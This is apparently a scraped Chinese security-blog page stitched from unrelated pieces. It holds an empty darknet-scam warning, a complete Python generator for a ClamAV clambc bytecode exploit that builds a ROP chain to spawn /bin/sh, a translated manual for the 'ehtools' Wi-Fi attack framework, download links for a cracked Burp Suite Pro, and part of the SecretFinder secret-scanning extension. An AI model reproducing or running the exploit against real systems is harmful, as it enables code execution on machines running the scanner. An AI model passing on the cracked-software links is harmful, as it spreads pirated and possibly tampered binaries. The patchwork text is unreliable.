请远离下面列出的这些暗网网址,这些网址属于诈骗类型的暗网网址.

网络诈骗

其它类型的诈骗

长链接诈骗

请远离上面列出的这些暗网网址,这些网址属于诈骗类型的暗网网址.

下载地址:github

#!/usr/bin/python

'''
Finished  : 22/07/2019
Pu8lished : 31/10/2019
Versi0n   : Current    (<= 0.102.0)
Result    : Just for fun.

"Because of my inability to change the world."

In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on
a signature-based detection approach, and still undergoes active-development. by that time,
LibClamAV only held 2 binaries, and expanded to 5 at present.

ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly
validating and interpreting the code therein, and the information provided didn't indicate
nor explain the presence of its internal mechanisms.

The availability of the source-code and the lack of documentation led to the establishment
of this paper, it was certainly not an attempt to escalate privileges, but rather a sought
-after experience, and source of entertainment that grants the thrill of a challenge.

Due to the considerable amount of time spent in the analysis, the dissection of the engine
was imminent, whilst significantly broadening our perception on its internal structures.
The trial and error process produced valuable information, crashes illuminated latent bugs,
effectively increasing the attack surface, and magnifying the possibility for exploitation.

> ./exploit.py
> clambc --debug exploit
[SNIP]
$
'''

names = ['test1',
		 'read',
		 'write',
		 'seek',
		 'setvirusname',
		 'debug_print_str',
		 'debug_print_uint',
		 'disasm_x86',
		 'trace_directory',
		 'trace_scope',
		 'trace_source',
		 'trace_op',
		 'trace_value',
		 'trace_ptr',
		 'pe_rawaddr',
		 'file_find',
		 'file_byteat',
		 'malloc',
		 'test2',
		 'get_pe_section',
		 'fill_buffer',
		 'extract_new',
		 'read_number',
		 'hashset_new',
		 'hashset_add',
		 'hashset_remove',
		 'hashset_contains',
		 'hashset_done',
		 'hashset_empty',
		 'buffer_pipe_new',
		 'buffer_pipe_new_fromfile',
		 'buffer_pipe_read_avail',
		 'buffer_pipe_read_get',
		 'buffer_pipe_read_stopped',
		 'buffer_pipe_write_avail',
		 'buffer_pipe_write_get',
		 'buffer_pipe_write_stopped',
		 'buffer_pipe_done',
		 'inflate_init',
		 'inflate_process',
		 'inflate_done',
		 'bytecode_rt_error',
		 'jsnorm_init',
		 'jsnorm_process',
		 'jsnorm_done',
		 'ilog2',
		 'ipow',
		 'iexp',
		 'isin',
		 'icos',
		 'memstr',
		 'hex2ui',
		 'atoi',
		 'debug_print_str_start',
		 'debug_print_str_nonl',
		 'entropy_buffer',
		 'map_new',
		 'map_addkey',
		 'map_setvalue',
		 'map_remove',
		 'map_find',
		 'map_getvaluesize',
		 'map_getvalue',
		 'map_done',
		 'file_find_limit',
		 'engine_functionality_level',
		 'engine_dconf_level',
		 'engine_scan_options',
		 'engine_db_options',
		 'extract_set_container',
		 'input_switch',
		 'get_environment',
		 'disable_bytecode_if',
		 'disable_jit_if',
		 'version_compare',
		 'check_platform',
		 'pdf_get_obj_num',
		 'pdf_get_flags',
		 'pdf_set_flags',
		 'pdf_lookupobj',
		 'pdf_getobjsize',
		 'pdf_getobj',
		 'pdf_getobjid',
		 'pdf_getobjflags',
		 'pdf_setobjflags',
		 'pdf_get_offset',
		 'pdf_get_phase',
		 'pdf_get_dumpedobjid',
		 'matchicon',
		 'running_on_jit',
		 'get_file_reliability',
		 'json_is_active',
		 'json_get_object',
		 'json_get_type',
		 'json_get_array_length',
		 'json_get_array_idx',
		 'json_get_string_length',
		 'json_get_string',
		 'json_get_boolean',
		 'json_get_int']
o     = names.index('buffer_pipe_new') + 1
k     = names.index('buffer_pipe_write_get') + 1
l     = names.index('debug_print_str') + 1
m     = names.index('malloc') + 1

c     = 0
for name in names:
	names[c] = name.encode('hex')
	c += 1

def cc(n):
	v = chr(n + 0x60)
	
	return v

def cs(s):
	t = ''
		
	for i in xrange(0, len(s), 2):
		u  = int(s[i], 16)
		l  = int(s[i + 1], 16)
		for i in  [u, l]:
			if((i >= 0 and i <= 0xf)):
				continue
			print 'Invalid string.'
			exit(0)
		
		t += cc(l) + cc(u)
	
	return t
	
def wn(n, fixed=0, size=0):
	if n is 0:
		return cc(0)

	t  = ''
	c  = hex(n)[2:]
	l  = len(c)
	if (l % 2) is 1:
		c = "0" + c
	r  = c[::-1]
	
	if(l <= 0x10):
		if not fixed:
			t = cc(l)
		i = 0
		while i < l:
			t += cc(int(r[i], 16))
			i += 1
	else:
		print 'Invalid number.'
		exit(0)
	
	if size != 0:
		t = t.ljust(size, '`')
		
	return t

def ws(s):
	t  = '|'
	e = s[-2:]
	if(e != '00'):
		print '[+] Adding null-byte at the end of the string..'
		s += '00'
	
	l  = (len(s) / 2)
	
	if (len(s) % 2) is 1:
		print 'Invalid string length.'
		exit(0)
	
	t += wn(l)
	t += cs(s)
	
	return t
	
def wt(t):
	if t < (num_types + 0x45):
		v = wn(t)
		return v
	else:
		print 'Invalid type.'
		exit(0)

def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
	global flimit, num_types
	
	if maxfunc is 0:
		maxfunc = flimit
	
	if(minfunc > flimit or  maxfunc < flimit):
		print 'Invalid minfunc and/or maxfunc.'
		exit(0)
	
	header   = "ClamBC"
	header  += wn(0x07)		   			# formatlevel(6, 7)
	header  += wn(0x88888888)		    # timestamp
	header  += ws("416c69656e")			# sigmaker
	header  += wn(0x00)                 # targetExclude
	header  += wn(0x00)					# kind
	header  += wn(minfunc)				# minfunc
	header  += wn(maxfunc)				# maxfunc
	header  += wn(0x00)					# maxresource
	header  += ws("00")					# compiler
	header  += wn(num_types + 5)		# num_types
	header  += wn(num_func)				# num_func
	header  += wn(0x53e5493e9f3d1c30)   # magic1
	header  += wn(0x2a, 1)				# magic2
	header  += ':'
	header  += str(linelength)
	header  += chr(0x0a)*2
	return header

def prepare_types(contained, type=1, nume=1):
	global num_types
	
	types    = "T"
	types   += wn(0x45, 1)				 # start_tid(69)
	
	for i in range(0, num_types):
		types   += wn(type[i], 1)			 # kind
		if type[i] in [1, 2, 3]:
		# Function, PackedStruct, Struct
			types += wn(nume[i])			 # numElements
			for j in range(0, nume[i]):
				types += wt(contained[i][j]) # containedTypes[j]
		else:
		# Array, Pointer
			if type[i] != 5:
				types += wn(nume[i])		 # numElements
			types += wt(contained[i][0])	 # containedTypes[0]
		
	types   += chr(0x0a)
	return types
	
def prepare_apis(calls=1):
	global maxapi, names, ids, tids

	if(calls > max_api):
		print 'Invalid number of calls.'
		exit(0)
	
	apis     = 'E'
	apis    += wn(max_api)				 # maxapi
	apis    += wn(calls)				 # calls(<= maxapi)
	
	for i in range(0, calls):
		apis += wn(ids[i])				 # id
		apis += wn(tids[i])				 # tid
		apis += ws(names[ids[i] - 1])	 # name
	
	apis    += chr(0x0a)
	return apis
	
def prepare_globals(numglobals=1):
	global max_globals, type, gval
	
	globals  = 'G'
	globals += wn(max_globals)			 # maxglobals
	globals += wn(numglobals)			 # numglobals
	
	for i in range(0, numglobals):
		globals += wt(type[i])			 # type
		for j in gval[i]:				 # subcomponents
			n        = wn(j)
			globals += chr(ord(n[0]) - 0x20)
			globals += n[1:]
		
	globals += cc(0)
	globals += chr(0x0a)
	return globals

def prepare_function_header(numi, numbb, numa=1, numl=0):
	global allo
	
	if numa > 0xf:
		print 'Invalid number of arguments.'
		exit(0)

	fheader  = 'A'
	fheader += wn(numa, 1)				 # numArgs
	fheader += wt(0x20)					 # returnType
	fheader += 'L'
	fheader += wn(numl)					 # numLocals
	
	for i in range(0, numa + numl):
		fheader += wn(type[i])			 # types
		fheader += wn(allo[i], 1)		 # | 0x8000
		
	fheader += 'F'
	fheader += wn(numi)					 # numInsts
	fheader += wn(numbb)				 # numBB
	fheader += chr(0x0a)
	return fheader
	

	
flimit      = 93
max_api     = 100
max_globals = 32773

num_types   = 6


# Header parsing
w    = initialize_header(num_func=0x1)
# Types parsing
cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]
type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]
num  = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]
w   += prepare_types(cont, type, num)
# API parsing
ids  = [o, k, l, m]
tids = [71, 72, 73, 74]
w   += prepare_apis(0x4)
'''
# crash @ id=0
'''
# Globals parsing
type = [0x45]
gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]
w   += prepare_globals(0x1)
# Function header parsing
type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]
allo = [   1,    0,    0,    0,    0,    0,    0]
w	+= prepare_function_header(35, 0x1, 0x0, 0x7)
# BB parsing
p  = 'B'

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += '@d'

# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Nobbfifnfobcghfh'
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'C`fcd'

# LOAD Var #2 = ([Var #1])
p += wn(0x40)
p += wn(0x2)
p += wn(0x27, 1)
p += wn(0x1)

# SUB Var #2 -= 0xd260
p += wn(0x40)
p += wn(0x2)
p += wn(0x2, 1, 2)
p += wn(0x2)
p += 'D`fbmd'

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'

# LOAD Var #3 = ([Var #1])
p += wn(0x40)
p += wn(0x3)
p += wn(0x27, 1)
p += wn(0x1)

# SUB Var #3 -= 0x10
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'B`ad'

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'

# LOAD Var #4 = ([Var #1])
p += wn(0x40)
p += wn(0x4)
p += wn(0x27, 1)
p += wn(0x1)

# SUB Var #4 -= 0x190
p += wn(0x40)
p += wn(0x4)
p += wn(0x2, 1, 2)
p += wn(0x4)
p += 'C`iad'


# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhcd'

# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhdd'

# ADD Var #3 += 0x3
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'Acd'

# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhbd'

# ADD Var #5 += Var #2 + 0xcbda
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Djmkld'

# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`bd'

# STORE (Var #4 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x4)
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhad'

# ADD Var #5 += Var #2 + 0x99dc
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dlmiid'

# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'

# STORE (0x3b -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Bkcd'
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'

# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`dd'

# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Ahd'

# ADD Var #2 += 0x6d68
p += wn(0x40)
p += wn(0x2)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dhfmfd'

# STORE (Var #2 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x2)
p += wn(0x1)

'''
0x99dc : pop rdi ; ret
0xcbda : pop rsi ; ret
0x6d68 : pop rax ; ret

Var #2 = text_base
Var #3 = syscall       (+3: pop rdx; ret)
Var #4 = "/bin/sh\x00"

pop rax; ret; o  0x8
59            o  0x10
pop rdi; ret; o  0x18
sh; address   o  0x20
pop rsi; ret; o  0x28
0x0           o  0x30
pop rdx; ret; o  0x38
0x0           o  0x40
syscall       o  0x48
'''

# COPY Var #6 = (0x5a90050f(o`e``ije))
p += wn(0x20)
p += wn(0x0)
p += wn(0x22, 1)
p += 'Ho`e``ijeh'
p += wn(0x6)

p += 'T'
p += wn(0x13, 1)
p += wn(0x20)
p += wn(0x6)
p += 'E'

w += p
f  = open("exploit", "w")
f.write(w)
f.close()

print '[+] Generated payload'

'''
twitter:@momika233

'''

关于ehtools框架

Wi-Fi工具越来越容易被初学者使用，Ehtools框架是一个可以从中轻松探索的重要渗透工具的框架。这个强大而简单的工具可以用于从安装新的附加组件到抓取在几秒钟内与WPA握手。另外，它易于安装、设置和使用。

如何安装ehtools

cd ehtools
chmod +x install.sh
./install.sh

选择框架的版本

在执行install.sh之后，将询问您选择Ehtools Framework-PRO os LITE的版本。
如果您没有购买Ehtools Framework PRO，请选择LITE。如果您购买了Ehtools Framework PRO，请选择PRO。

./install.sh

如果选择Ehtools Framework PRO，则需要使用需要在ehtools网站上购买的Ehtools激活密钥来激活它。如果您具有Ehtools激活密钥，请阅读以下说明。

如何激活ehtools PRO

您可以在ehtools网站上以1美元的价格购买此密钥！该密钥用于激活ehtools PRO，在文件install.sh的激活密钥的输入字段中输入它，然后您就可以安装ehtools并将其仅用于教育目的！

警告：key只工作一个星期，然后就变了！你需要有时间在更新之前输入它！

./install.sh

输入您的ehtools激活密钥！你可以在ehtools网站上购买！（激活密钥）

另外，我们不建议更改ehtools的源代码，因为它非常复杂，您可能会弄乱某些东西并破坏框架！

如何卸载ehtools

ehtools -u

警告：如果要重新安装，请不要执行此操作
您购买了ehtools PRO，不要这样做，因为你得再买一次！

攻击框架

大多数新的Wi-Fi黑客工具都依赖于许多相同的基础攻击，而使用其他更熟悉的工具（如Aireplay-ng）自动执行的脚本通常被称为框架。这些框架试图以智能或有用的方式来组织工具，以使它们超越原始程序的功能或可用性。

一个很好的例子就是集成了Airodump-ng等扫描工具，WPS Pixie-Dust等攻击工具和Aircrack-ng等破解工具的程序，这些程序为初学者创建了易于理解的攻击链。这样做使使用这些工具的过程更容易记住，并且可以看作是一种导游。尽管无需用手就可以进行这些攻击，但是与自己尝试进行攻击相比，其结果可以更快或更方便。

我们涵盖的一个示例是Airgeddonframework，这是一种无线攻击框架，它可以执行一些有用的事情，例如使目标选择过程自动化以及消除用户花费在程序之间复制和粘贴信息的时间。这甚至为经验丰富的测试者节省了宝贵的时间，但缺点是阻止初学者了解攻击的“幕后”情况。尽管这是事实，但其中大多数框架都是快速，高效的，并且使用起来非常简单，甚至使初学者也可以使用和禁用整个网络。

初学者的UX / UI改进

Ehtools框架仅需在终端窗口中键入字母ehtools即可，然后在首次运行后要求您提供网络接口的名称。它使用您提供的名称连接到执行选择的任何攻击所需的工具。除了该初始输入之外，仅通过从菜单中选择选项编号就可以执行大多数可能的攻击。这意味着您只需选择一个菜单选项就可以进行网络握手或下载新的黑客工具（例如Pupy）。

使用基本的网络工具

首先，我们可以从主菜单访问有关当前连接的网络以及任何网络接口的数据。在这里，我们可以通过键入l来获取本地IP信息来查找本地信息，如下所示。

这使我们能够执行诸如扫描网络中其他设备的操作。Ehtools框架的这一部分使我们可以更好地了解网络并了解周围有哪些设备。各种信息可以细分如下：

(ehtools)> if

运行ifconfig并给出名称以及所有网络设备的信息。

(ehtools)> 1

INFO: Enable wlan0.
(d1 disables it)

(ehtools)> 2

INFO: Enable wlan0mon.
(d2 disables it)

(ehtools)> 3

随机或设置MAC地址到特定值。

(ehtools)> 7

查看您的公共IP地址你访问的网站上的计算机正在离开。

(ehtools)> 19

查找给定的物理地址确定其相对位置的IP地址。

(ehtools)> scan

在网络上启动ARP扫描发现附近的设备。

(ehtools)> start

在无线网络适配器上启动监视器模式。

(ehtools)> stop

停止网络适配器上的无线监视器模式。

安装新工具

Ehtools Framework的乐趣之一是向我们的军械库添加新工具变得如此容易。我们可以选择选项9来访问Ehtools Framework中的工具列表。

INFO: Our framework has more than 100 packages in
ehtools archive (on server this archive: 2.3 Tb)!

在下一个菜单中，工具分为主要类别，并提供用于管理脚本安装的选项。提供的选项有：

1. Wi-Fi工具（攻击无线网络的工具）。

INFO: Wi-Fi options this is tools for attacking 
wireless networks and network databases.

1. 远程访问（用于远程访问其他设备并进行远程管理的工具）。

INFO: Remote access means tools for getting access 
to other devices and remotely managing them.

1. 信息收集（在人或网站上收集情报）。

INFO: Information gathering tools, tools for 
collecting intelligence on peaple or website.

1. 网站工具（用于利用或攻击网站的工具）。

INFO: Website tools, tools for exploiting or 
attacking sites and network databases.

1. 其他（其他黑客工具的各种集合）

INFO: Other tools this is collection 
of miscellaneous hacking tools.

您还可以通过访问选项6管理已安装的工具。

使用ehtools快速访问

INFO: Ehtools quick access, this is when you run
ehtools and for example ehtools -r to remove ehtools!

运行它以打开快速访问菜单：

ehtools -o

运行它来卸载ehtools：

ehtools -u

运行它以打开握手菜单：

ehtools -h

运行它以打开“查找WPS”菜单：

ehtools -w

INFO: For this shortcuts you will not need enter 
your ehtools password (only for ehtools -u)!

使用ehtools应用程序

INFO: Ehtools application is an Ehtools Framework shortcut 
that allows users to run Ehtools Framework just selecting 
ehtools in the applications and clicking on it! I mean ehtools 
application allows users to run ehtools via the application!

有两种方法设置ehtools应用程序：

使用安装程序

INFO: The ehtools INSTALLER allows 
you to create ehtools application.

使用ehtapp

INFO: There is an ehtools utility named 
ehtapp (read more in Ehtools Utilities) that 
allows users to configure ehtools application.

ehtapp -c

为什么选择ehtools框架？

默认情况下，安装了58种以上的渗透测试工具

INFO: More than 58 options installed by default you
can find in ehtools, this is tools such as MetaSploit,
WireShark and other tools!

密码保护和配置加密

INFO: In version 2.1.6 we added pasword protection,
we added it for users who think that his/her friend or
parents will turn into ehtools and will remove or destroy
it. Only for this people we create password protection
for Ehtools Framework :)

易于学习，这是初学者的最佳框架

INFO: Ehtools Framework's TUI is very simple for beginners,
you can start attack on the local network by choosing an
option from main menu. It is very simple, is not it?

初学者的UX / UI改进

INFO: It uses the names you supply to connect to the tools needed to 
execute any attacks you select! Aside from that initial input, the majority 
of the possible attacks can be performed merely by choosing the option number 
from the menu. This means you can grab a network handshake or download a new 
hacking tool like Pupy by just selecting from one of the menu options!

您可以从ehtools安装100多种工具

INFO: Our framework has more than 100 packages in ehtools 
archive (on server this archive: 2.3 Tb)! But if you are using 
ehtools LITE you could install only 50% of this tools!

系统要求

Ehtools Framework仅支持两个操作系统

INFO: Ehtools Framework only supports two
operating systems - Kali Linux and Parrot OS!

完全root访问权限和对/ root文件夹的访问

INFO: All ehtools files and folders will be copied to /root,
/bin and /etc system folders, to copy ehtools data to
your system Ehtools Framework needs full root access!

良好的Internet连接以支持服务器（仅ehtools PRO）

INFO: The server support for ehtools PRO is one of system 
requirements, it is needed for collect information about 
ehtools crashes and it is also needed for check product 
status such as (you bought ehtools/you did not buy ehtools)

Ehtools实用程序

uiecache | 

uiecache（卸载ehtools缓存）是一个实用程序，可以帮助您清除/卸载ehtools缓存，例如登录日志或.config文件！

Usage: uiecache [OPTION...]
Copyright (C) 2019, Entynetproject. All Rights Reserved.

   -a  --all          Uninstall all ehtools cache.
                        (standart old uiecache)
   -p  --path <path>  Uninstall ehtools cache from your path.
                        (uninstall cache from path)
   -r  --restart      Restart all ehtools processes and services.
                        (restart ehtools system)                    
   -h  --help         Give this help list.

要清理/卸载所有ehtools缓存，您需要执行以下命令：

uiecache -a

ehtmod | 

ehtmod（ehtools模块）是一种实用程序，可使用命令添加权限或控制Ehtools Framework模块的功能，例如，eht1模块具有eht1命令，在终端中输入该命令，然后eht1模块将启动。

Usage: ehtmod [OPTION...]
Copyright (C) 2019, Entynetproject. All Rights Reserved.

-i  --install         Install ehtools modules to /bin/ehtools.
                        (install ehtools modules)
-t  --take    <name>  Take a new ehtools modules snapshot.
                        (take ehtools modules snapshot)
-r  --restore <name>  Restore saved ehtools modules snapshot.
                        (restore ehtools modules snapshot)
-d  --delete  <name>  Delete saved ehtools modules snapshot.
                        (delete ehtools modules snapshot)
-u  --uninstall       Uninstall ehtools modules from /bin/ehtools.
                        (uninstall ehtools modules)
-h  --help            Give this help list.

要安装ehtools模块，您需要执行以下命令：

INFO: The ehtools INSTALLER will ask you to "install" or "not 
install" ehtools modules and if you answered "not install" and 
want to install them, run the following command!

模块-i

Ehtools模块快照（EMS）

INFO: EMS is a saved ehtools modules data from /bin/ehtools and 
/root/ehtools/eht (this is a saved ehtools modules data), you can 
take it using the ehtmod utility v1.9 and restore it.

要拍摄ehtools模块快照，您需要执行以下命令。您需要输入要拍摄的ehtools模块快照的名称（例如：snapshot1）：

ehtmod -t快照1

电动工具模块恢复（EMR）

INFO: EMR is an operation that removing /bin/ehtools and 
/root/ehtools/eht and restoring it from the saved ehtools modules 
snapshot, you can restore it using the ehtmod utility v1.9, but ESR will 
remove all your old ehtools modules data from /bin/ehtools and /root/ehtools/eht!

要恢复ehtools模块快照，您需要执行以下命令。您需要输入已保存的ehtools模块快照的名称（例如：snapshot1）：

ehtmod -r快照1

ehtkey | 

ehtkey（ehtools密钥）是一个实用程序，可让您更改ehtools配置密钥（ehtools config / boot密钥）并重写/etc/ehtools/.config。

Usage: ehtkey [OPTION...]"
Copyright (C) 2019, Entynetproject. All Rights Reserved.

   -c  --change <old_key> <new_key>  Change ehtools config key.
                                       (change config key)
   -h  --help                        Give this help list.

要更改ehtools配置键，您需要执行以下命令。您需要输入旧的ehtools配置键（例如：1001），然后输入新的ehtools配置键（例如：2002）：

ehtkey -c 1001 2002

ehtapp | 

ehtapp（ehtools应用程序）是一个实用程序，可让您配置ehtools应用程序，例如创建ehtools桌面应用程序。

Usage: ehtapp [OPTION...]"
Copyright (C) 2019, Entynetproject. All Rights Reserved.

   -c  --create            Create ehtools application.
                             (create shortcut application)
   -d  --desktop <option>  Create/remove ehtools desktop application.
                             (create/remove desktop shortcut application)
   -r  --remove            Remove ehtools application.
                             (remove shortcut application)
   -h  --help              Give this help list.

要创建ehtools应用程序，您需要执行以下命令：

INFO: The ehtools INSTALLER will ask you to "create" or 
"not create" ehtools application and if you answered "not 
create" and want to create it, run the following command!

ehtapp -c

要创建ehtools桌面应用程序，您需要执行以下命令：

ehtapp -d创建

epasswd | 

epasswd（ehtools密码更改器）是一个实用程序，可让您更改ehtools登录名和密码或ehtools根密码！

更改ehtools登录名和密码

密码

要更改ehtools登录名和密码，请输入旧的ehtools登录名（例如：ehtools）和旧的ehtools密码（例如：sloothe）：

(login)> ehtools
(password)> sloothe (will not be shown!)

之后，输入新的ehtools登录名（例如：admin）和新的ehtools密码（例如：1234）：

((new)login)> admin
((new)password)> 1234 (will not be shown!)

恭喜，您已成功更改ehtools的登录名和密码！

WARNING: In no case do not forget this password, it will
not be restored and you will need to reinstall ehtools!

修改ehtools的root密码

要设置root密码，请以ehtools root登录到epasswd：

epasswd

(login)> root

在此之后，输入旧的ehtools根密码（默认值：toor）：

(password)> toor (will not be shown!)

在此之后，输入新的ehtools根密码（例如：1234）：

((new)password)> 1234 (will not be shown!)

恭喜，您已成功更改ehtools的root密码！

警告：在任何情况下都不要忘记此密码，
它不会被恢复，你必须重新安装ehtools！

关于ehtools服务器支持

服务器对ehtools PRO的支持非常重要，因为会将所有错误报告发送给它，以改善和修复漏洞和错误！

建立良好的Internet连接
ehtools，帮助ehtools访问服务器！

如果由于不良的Internet连接，ehtools将无法与服务器通信，则由于访问被拒绝以及购买或未购买的ehtools的校验错误，框架将无法启动！

如何保护ehtools

使用install.sh进行操作：

COUNCIL:使用install.sh创建登录名和密码
（例如：登录：ehtools，密码：sloothe）

要从ehtools退出时，请执行以下操作：

当你要退出框架时，
退出快捷方式- 0或exit。

要从ehtools退出时，请勿执行以下操作：

不要只关闭ehtools窗口
不要退出EHOToTS框架
使用CTRL+C或其他退出信号！

from

burp2.1.05破解版下载 burpsuite_pro v2.1.05 cracked
下载地址:github
链接:pan.baidu.com/s/1OHXYuOpU2OPvJ5QUWMTBnQ
提取码: hh95

关于burpsuite说明以及burp功能操作请参考往期文章
https://www.ddosi.com/?s=burp

破解方法下面我再说一下(正确的打开方式如下所示)

burp2.1.05破解版下载 burpsuite_pro v2.1.05 cracked
下载地址:github
链接:pan.baidu.com/s/1OHXYuOpU2OPvJ5QUWMTBnQ
提取码: hh95
——————————————
burp2.1.05破解版亲测可用,保险起见
请放虚拟机中运行，run Run ruN .

Burp Suite之apikeys/tokens扫描插件 SecretFinder.py
下载地址:github

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# SecretFinder: Burp Suite Extension to find and search apikeys/tokens from a webpage 
# by m4ll0k
# https://github.com/m4ll0k

# Code Credits:
# OpenSecurityResearch CustomPassiveScanner: https://github.com/OpenSecurityResearch/CustomPassiveScanner
# PortSwigger example-scanner-checks: https://github.com/PortSwigger/example-scanner-checks
# https://github.com/redhuntlabs/BurpSuite-Asset_Discover/blob/master/Asset_Discover.py

from burp import IBurpExtender
from burp import IScannerCheck
from burp import IScanIssue
from array import array
import re
import binascii
import base64
import xml.sax.saxutils as saxutils


class BurpExtender(IBurpExtender, IScannerCheck):
    def	registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._callbacks.setExtensionName("SecretFinder")
        self._callbacks.registerScannerCheck(self)
        return

    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        if (existingIssue.getIssueDetail() == newIssue.getIssueDetail()):
            return -1
        else:
            return 0

    # add your regex here
    regexs = {
        'google_api' : 'AIza[0-9A-Za-z-_]{35}',
        'google_oauth' : 'ya29\.[0-9A-Za-z\-_]+',
        'amazon_aws_access_key_id' : 'AKIA[0-9A-Z]{16}',
        'amazon_mws_auth_toke' : 'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
        'amazonaws_url' : 's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',
        'facebook_access_token' : 'EAACEdEose0cBA[0-9A-Za-z]+',
        'authorization_basic' : 'basic [a-zA-Z0-9_\-:\.]+',
        'authorization_beare' : 'bearer [a-zA-Z0-9_\-\.]+',
        'authorization_api' : 'api[key|\s*]+[a-zA-Z0-9_\-]+',
        'mailgun_api_key' : 'key-[0-9a-zA-Z]{32}',
        'twilio_api_key' : 'SK[0-9a-fA-F]{32}',
        'paypal_braintree_access_token' : 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}',
        'square_oauth_secret' : 'sq0csp-[ 0-9A-Za-z\-_]{43}',
        'square_access_token' : 'sqOatp-[0-9A-Za-z\-_]{22}',
        'stripe_standard_api' : 'sk_live_[0-9a-zA-Z]{24}',
        'stripe_restricted_api' : 'rk_live_[0-9a-zA-Z]{24}',
        'github_access_token' : '[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-]+@github\.com*',
        'rsa_private_key' : '-----BEGIN RSA PRIVATE KEY-----',
        'ssh_dsa_private_key' : '-----BEGIN DSA PRIVATE KEY-----',
        'ssh_dc_private_key' : '-----BEGIN EC PRIVATE KEY-----',
        'pgp_private_block' : '-----BEGIN PGP PRIVATE KEY BLOCK-----'
    }

    def doActiveScan(self, baseRequestResponse,pa,pb):
        scan_issues = []
        tmp_issues = []

        self._CustomScans = CustomScans(baseRequestResponse, self._callbacks)


        for reg in self.regexs.items():
            print(reg[0])
